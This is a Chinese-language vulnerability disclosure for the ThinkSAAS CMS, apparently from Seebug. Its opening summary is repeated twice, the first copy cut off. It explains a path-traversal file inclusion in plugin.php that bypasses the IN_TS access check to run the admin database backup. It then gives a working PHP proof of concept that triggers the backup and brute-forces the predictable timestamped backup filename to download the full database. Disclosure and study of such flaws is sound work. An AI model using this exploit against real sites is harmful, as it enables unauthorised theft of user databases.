### 简要描述: ThinkSAAS的一个逻辑漏洞导致可以实时备份网站数据库,同时可以获取备份数据库文件名。 下载实时备份的数据库实现脱裤。漏洞影响所有版本。 ### 详细说明: thinksaas系统使用常量IN_TS来控制页面的访问,然后在每个功能模块用一句代码: ``` defined('IN_TS') or die('Access Denied.'); ``` 来限制访问,这样设计带来的问题是,一个文件包含可以通杀,越权访问执行任意功能模块。 看到/app/user/action/plugin.php代码: ``` <?php //插件条件入口 defined('IN_TS') or die('Access Denied.'); if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){ require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php'); }else{ tsNotice('sorry:no plugin!'); } ``` 利用上面的代码可以任意包含php文件,接着看到/app/system/action/sql.php代码: ``` <?php defined('IN_TS') or die('Access Denied.'); switch($ts){ case "": //输出备份文件 $arrSqlFile = tsScanDir('data/baksql','file'); include template('sql'); break; //优化 case "optimize": $arrTables = $db->fetch_all_assoc("SHOW TABLES"); foreach($arrTables as $key=>$item){ $db->query("OPTIMIZE TABLE `".$item."` "); } qiMsg('优化数据库成功!'); break; //备份导出 case "export": require_once 'thinksaas/DbManage.php'; $bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'],...
### 简要描述: ThinkSAAS的一个逻辑漏洞导致可以实时备份网站数据库,同时可以获取备份数据库文件名。 下载实时备份的数据库实现脱裤。漏洞影响所有版本。 ### 详细说明: thinksaas系统使用常量IN_TS来控制页面的访问,然后在每个功能模块用一句代码: ``` defined('IN_TS') or die('Access Denied.'); ``` 来限制访问,这样设计带来的问题是,一个文件包含可以通杀,越权访问执行任意功能模块。 看到/app/user/action/plugin.php代码: ``` <?php //插件条件入口 defined('IN_TS') or die('Access Denied.'); if(is_file('plugins/'.$app.'/'.$plugin.'/'.$in.'.php')){ require_once('plugins/'.$app.'/'.$plugin.'/'.$in.'.php'); }else{ tsNotice('sorry:no plugin!'); } ``` 利用上面的代码可以任意包含php文件,接着看到/app/system/action/sql.php代码: ``` <?php defined('IN_TS') or die('Access Denied.'); switch($ts){ case "": //输出备份文件 $arrSqlFile = tsScanDir('data/baksql','file'); include template('sql'); break; //优化 case "optimize": $arrTables = $db->fetch_all_assoc("SHOW TABLES"); foreach($arrTables as $key=>$item){ $db->query("OPTIMIZE TABLE `".$item."` "); } qiMsg('优化数据库成功!'); break; //备份导出 case "export": require_once 'thinksaas/DbManage.php'; $bakdb = new DBManage ( $TS_DB['host'].':'.$TS_DB['port'], $TS_DB['user'], $TS_DB['pwd'], $TS_DB['name'], 'utf8' ); $bakdb->backup ('','data/baksql/'); qiMsg('数据库备份完毕!'); break; ``` 利用/app/user/action/plugin.php文件的包含漏洞可以越权执行后台的数据库备份功能,生成数据库备份文件,同时备份的数据库是以date('YmdHis')+_all_v1.sql来命名,可以简单预测到备份数据库文件名。 ### 漏洞证明: ``` <?php date_default_timezone_set('Asia/Hong_Kong'); $url = "http://192.168.116.129/thinksaas/index.php?app=user&ac=plugin&plugin=face&in=my5t3ry/../../../../app/system/action/sql&ts=export"; file_get_contents($url); $time = date('YmdHis'); for($i = $time; $i <= $time + 300; $i++){ $filename = $i ."_all_v1.sql"; $url = "http://192.168.116.129/thinksaas/data/baksql/".$filename; if (@file_get_contents($url, null, null, -1, 1)){ echo $url; } } ?> ``` 使用上面的代码可以备份数据库并得到备份数据库文件名,测试如图: [<img src="https://images.seebug.org/upload/201402/222224293c94623fbdc6a2150f7d116c2e60529a.jpg" alt="backup.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/222224293c94623fbdc6a2150f7d116c2e60529a.jpg)